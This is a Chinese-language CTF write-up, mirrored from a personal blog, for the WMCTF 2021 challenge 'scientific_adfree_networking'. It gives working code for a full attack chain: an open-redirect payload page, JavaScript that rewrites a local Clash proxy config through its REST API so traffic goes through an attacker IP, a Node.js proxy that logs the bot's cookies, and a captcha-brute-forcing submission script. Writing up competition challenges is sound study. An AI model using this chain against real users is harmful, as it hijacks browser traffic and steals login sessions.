1

WMCTF 2021 scientific_adfree_networking WriteUp

 2 years ago
source link: https://blog.szfszf.top/article/56/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

WMCTF 2021 scientific_adfree_networking WriteUp

2021年08月, 5422 views, #CTF #writeups

scientific_adfree_networking

这道题挺有意思

更新clash配置

题目说明浏览器使用的是clash代理,clash当配置了external-controller时可以使用restfulapi进行简单的控制。

api可以看https://github.com/Dreamacro/clash/wiki/external-controller-API-reference和https://clash.gitbook.io/doc/restful-api/config#zhong-xin-jia-zai-pei-zhi-wen-jian

在clash得源码中可以看到完整得

image-20210831143232733

api的地址就是external-controller指定的位置,也就是题目中的127.0.0.1:9090

查看api我们可以更新clash的配置。文档中可以根据配置文件地址整体更新或者更新部分参数。

image-20210829115957908

一开始我看到了clash有一个ExternalUI的配置,这个配置指定了一个地址clash会以这个地址为根目录起一个http服务器映射到external-controller api的/ui

image-20210831143504253

那么如果可控这个配置就能利用这个api下载任意位置文件了,猜测secret_key可能是写死在py文件中或者flag写死在模板/环境变量中。

不过看源码clash只会在启动的时候处理一次ExternalUI参数,这个思路就断了。

后来又想到一个思路是修改clash的配置,让浏览器走我们的代理,然后再次访问blog.tomswebsite.com:8888,这样的话我们就能抓到bot登陆blog.tomswebsite.com:8888 的cookie。

上面给出的api文档无论是官方的和第三方的都不全或者有小错误,他们显示的能更新的配置很少,整体更新只能通过指定配置文件的方式更新。因为使用的是chrome,我的思路一开始是加载页面时返回Content-Disposition头,让浏览器自动下载到Download目录,而恰巧我们也可以从描述中知道用户为tom,那么整体路径就是/home/tom/Downloads/clash.conf

<?php

header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=abcd.conf");
readfile("clash.conf");#     

但不管怎么搞都是返回找不到文件,我本地用selenium模拟了都可以,很迷。

image-20210831144751757

最后查看clash的源码,发现了文档中未标明的更新配置的方式,我们还可以通过直接传递配置的所有数据的方式更新整体。

image-20210829120220591

根据其源码我们构造的更新的请求应该为curl -X PUT -H "Content-Type: application/json" -d '{"payload": "xxxx"}' ""http://127.0.0.1:9090/configs?force=true", 其中xxxx内容为配置内容。

所以准备好要更新的配置,让所有内容都走我的http代理

mixed-port: 1080
allow-lan: false
mode: Rule
log-level: debug
external-controller: '127.0.0.1:9090'

proxies:
  - name: 'http'
    type: http
    server: 159.75.23.54
    port: 20002

proxy-groups:
  - name: 'jrxnm'
    type: select
    proxies:
      - http

rules:
 - IP-CIDR,127.0.0.0/8,jrxnm
 - MATCH,jrxnm

bot访问url

/logut?next=xxxx是存在任意url跳转的,所以可以在report时让bot访问我们的url。

准备的payload如下,内容是先更新配置,再跳转回blog.tomswebsite.com:8888

<html>
    <body></body>
<script>

    function sleep (time) {
        return new Promise((resolve) => setTimeout(resolve, time));
    }


    function setConfig(){

        config = '{"payload":"mixed-port: 1080\\nallow-lan: true\\nmode: Rule\\nlog-level: debug\\nexternal-controller: \'127.0.0.1:9090\'\\n\\nproxies:\\n  - name: \'http\'\\n    type: http\\n    server: 159.75.23.54\\n    port: 20002\\n\\nproxy-groups:\\n  - name: \'jrxnm\'\\n    type: select\\n    proxies:\\n      - http\\n\\nrules:\\n - IP-CIDR,127.0.0.0/8,jrxnm\\n - MATCH,jrxnm\\n"}';
        console.log(config);

        fetch("http://127.0.0.1:9090/configs", {
            method: 'PUT', 
            headers: new Headers({
            'Content-Type': 'application/json'
        }),
            body: config, 
        }).then(function(response) {
            return response.text();
        }).then(function(data) {
        }).catch(function(e) {
            console.log("error");
        });
    }

    (async function() {

        setConfig();
        await sleep(300);
        location.href = "http://blog.tomswebsite.com:8888";
    })();

</script>

</html>

接收cookie

要接收cookie得搭好代理, clash走的http代理是一种隧道代理,先通过 CONNECT 方法请求隧道代理创建 TCP 连接。

用js搭一个简单的http代理

var http = require('http');
var net = require('net');
var url = require('url');

function request(cReq, cRes) {
    var u = url.parse(cReq.url);
    console.log(cReq.headers);
    var options = {
        hostname : u.hostname,
        port     : u.port || 80,
        path     : u.path,
        method     : cReq.method,
        headers     : cReq.headers
    };

    var pReq = http.request(options, function(pRes) {
        cRes.writeHead(pRes.statusCode, pRes.headers);
        pRes.pipe(cRes);
    }).on('error', function(e) {
        cRes.end();
    });

    cReq.pipe(pReq);
}

function connect(cReq, cSock) {
    console.log(cReq.url);
    var u = url.parse('http://' + cReq.url);
    cSock.on('data', function(data){
        console.log(data.toString());
    })

    var pSock = net.connect(u.port, u.hostname, function() {
        cSock.write('HTTP/1.1 200 Connection Established\r\n\r\n');
        pSock.pipe(cSock);
    }).on('error', function(e) {
        //cSock.end();
    });


    cSock.pipe(pSock);
}

http.createServer()
    .on('request', request)
    .on('connect', connect)
    .listen(20002, '0.0.0.0');

因为服务器是无法连接blog.tomswebsite.com的,所以为了让代理能正常运行,修改服务器hosts添加

127.0.0.1 blog.tomswebsite.com

然后再在本地8888端口随便搭一个http服务

getflag

import requests
import hashlib
import re


url = "http://eci-2zeeotpb5pjrheeobbtm.cloudeci1.ichunqiu.com:8888/report"

def jm_md5(value):
    hsobj = hashlib.md5()
    hsobj.update(value.encode("utf-8"))
    return hsobj.hexdigest()

def get_code(like):
    for i in range(100000,999999):
        m = jm_md5('WMCTF_' + str(i))
        if m[:6] == like:
            return 'WMCTF_' + str(i)    

def getCap(s):
    res = s.get(url)
    rrr = re.findall(r'\[:6\]==([a-f0-9]{6})<', res.text)
    if(rrr):
        like = rrr[0]
        code = get_code(like)
        return code

def send(payload="logout?next=http://159.75.23.54:22225/1.html"):
    s = requests.Session()

    Cap = getCap(s)
    print(Cap)

    data = {
        "title": payload,
        "body": "asdasd",
        "captcha": Cap
    }
    res = s.post(url, data=data)
    if("Success" in res.text):
        print("success")

send()

接收到cookie

image-20210829115558582

因为是访问了logout,所以cookie已经失效。解码拿到账号密码

image-20210829115619009

登陆看到flag

image-20210829115507258

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK